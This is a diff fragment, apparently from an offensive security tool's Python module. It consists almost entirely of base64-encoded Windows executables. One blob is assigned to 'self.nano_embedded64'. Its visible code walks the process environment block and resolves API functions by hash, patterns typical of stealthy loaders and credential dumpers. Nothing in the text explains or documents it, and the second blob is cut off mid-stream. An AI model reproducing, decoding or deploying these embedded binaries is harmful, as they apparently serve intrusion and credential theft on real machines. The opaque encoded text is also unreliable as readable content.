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QBACqEAQA2hAEARoQBAFSEAQBkhAEAcoQBAISEAQCYhAEApoQBALCEAQC6hAEAxoQBAM6EAQDWhAEA4IQBAOqEAQD2hAEA/oQBAAaFAQAQhQEAGIUBACKFAQAqhQEAMoUBADyFAQBKhQEAVIUBAGCFAQBqhQEAdIUBAH6FAQCGhQEAkoUBAJyFAQCkhQEAroUBALqFAQDEhQEAzoUBANiFAQDihQEA7IUBAPiFAQAAhgEACoYBABSGAQAehgEAAAAAAHyCAQCUggEArIIBALqCAQDKggEA3oIBAPKCAQAEgwEAFoMBACiDAQA0gwEAQIMBAFyDAQBwgwEAiIMBAJiDAQCugwEAzIMBANSDAQDigwEA9IMBAASEAQAAAAAAGoQBACqEAQA2hAEARoQBAFSEAQBkhAEAcoQBAISEAQCYhAEApoQBALCEAQC6hAEAxoQBAM6EAQDWhAEA4IQBAOqEAQD2hAEA/oQBAAaFAQAQhQEAGIUBACKFAQAqhQEAMoUBADyFAQBKhQEAVIUBAGCFAQBqhQEAdIUBAH6FAQCGhQEAkoUBAJyFAQCkhQEAroUBALqFAQDEhQEAzoUBANiFAQDihQEA7IUBAPiFAQAAhgEACoYBABSGAQAehgEAAAAAABUBRGVsZXRlQ3JpdGljYWxTZWN0aW9uADYBRW50ZXJDcml0aWNhbFNlY3Rpb24AALEBRnJlZUxpYnJhcnkAaQJHZXRMYXN0RXJyb3IAAH0CR2V0TW9kdWxlSGFuZGxlQQAAgAJHZXRNb2R1bGVIYW5kbGVXAAC2AkdldFByb2NBZGRyZXNzAAC8AkdldFByb2Nlc3NIZWFwAADZAkdldFN0YXJ0dXBJbmZvQQBQA0hlYXBBbGxvYwBWA0hlYXBGcmVlAABtA0luaXRpYWxpemVDcml0aWNhbFNlY3Rpb24AjQNJc0RCQ1NMZWFkQnl0ZUV4AADNA0xlYXZlQ3JpdGljYWxTZWN0aW9uAADRA0xvYWRMaWJyYXJ5QQAAAARNdWx0aUJ5dGVUb1dpZGVDaGFyAFoFU2V0VW5oYW5kbGVkRXhjZXB0aW9uRmlsdGVyAGoFU2xlZXAAjQVUbHNHZXRWYWx1ZQC9BVZpcnR1YWxQcm90ZWN0AADABVZpcnR1YWxRdWVyeQAA8gVXaWRlQ2hhclRvTXVsdGlCeXRlADoAX19nZXRtYWluYXJncwA7AF9faW5pdGVudgBFAF9fbWJfY3VyX21heAAATABfX3BfX2FjbWRsbgBOAF9fcF9fY29tbW9kZQAAUwBfX3BfX2Ztb2RlAABoAF9fc2V0X2FwcF90eXBlAABrAF9fc2V0dXNlcm1hdGhlcnIAAI4AX2Ftc2dfZXhpdAAAnwBfY2V4aXQAAEIBX2Vycm5vAABSAV9pbml0dGVybQBWAV9pb2IAALkBX2xvY2sAOgJfb25leGl0AOECX3VubG9jawAfA193Y3NpY21wAACaA2Fib3J0AKMDYXRvaQAApwNjYWxsb2MAALEDZXhpdAAAwgNmcHJpbnRmAMQDZnB1dGMAyQNmcmVlAADWA2Z3cml0ZQAA/wNsb2NhbGVjb252AAADBG1hbGxvYwAABgRtYnN0b3djcwAACgRtZW1jbXAAAAsEbWVtY3B5AAANBG1lbXNldAAAHQRyYW5kAAAmBHNldGxvY2FsZQAoBHNpZ25hbAAALgRzcmFuZAA0BHN0cmNocgAAOgRzdHJlcnJvcgAAPARzdHJsZW4AAD8Ec3RybmNtcABABHN0cm5jcHkAQwRzdHJyY2hyAEQEc3Ryc3BuAABhBHZmcHJpbnRmAADLAnRpbWUAAHsEd2NzbGVuAAB8BHdjc25jYXQAfwR3Y3NuY3B5AIYEd2Nzc3RyAAAAgAEAAIABAACAAQAAgAEAAIABAACAAQAAgAEAAIABAACAAQAAgAEAAIABAACAAQAAgAEAAIABAACAAQAAgAEAAIABAACAAQAAgAEAAIABAACAAQAAgAEAS0VSTkVMMzIuZGxsAAAAABSAAQAUgAEAFIABABSAAQAUgAEAFIABABSAAQAUgAEAFIABABSAAQAUgAEAFIABABSAAQAUgAEAFIABABSAAQAUgAEAFIABABSAAQAUgAEAFIABABSAAQAUgAEAFIABABSAAQAUgAEAFIABABSAAQAUgAEAFIABABSAAQAUgAEAFIABABSAAQAUgAEAFIABABSAAQAUgAEAFIABABSAAQAUgAEAFIABABSAAQAUgAEAFIABABSAAQAUgAEAFIABAG1zdmNydC5kbGwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACARQAAAAAAAAAAAABAQQAAAAAAAAAAAAEB/QADwfkAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA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") + self.nano_embedded64 = base64.b64decode( + "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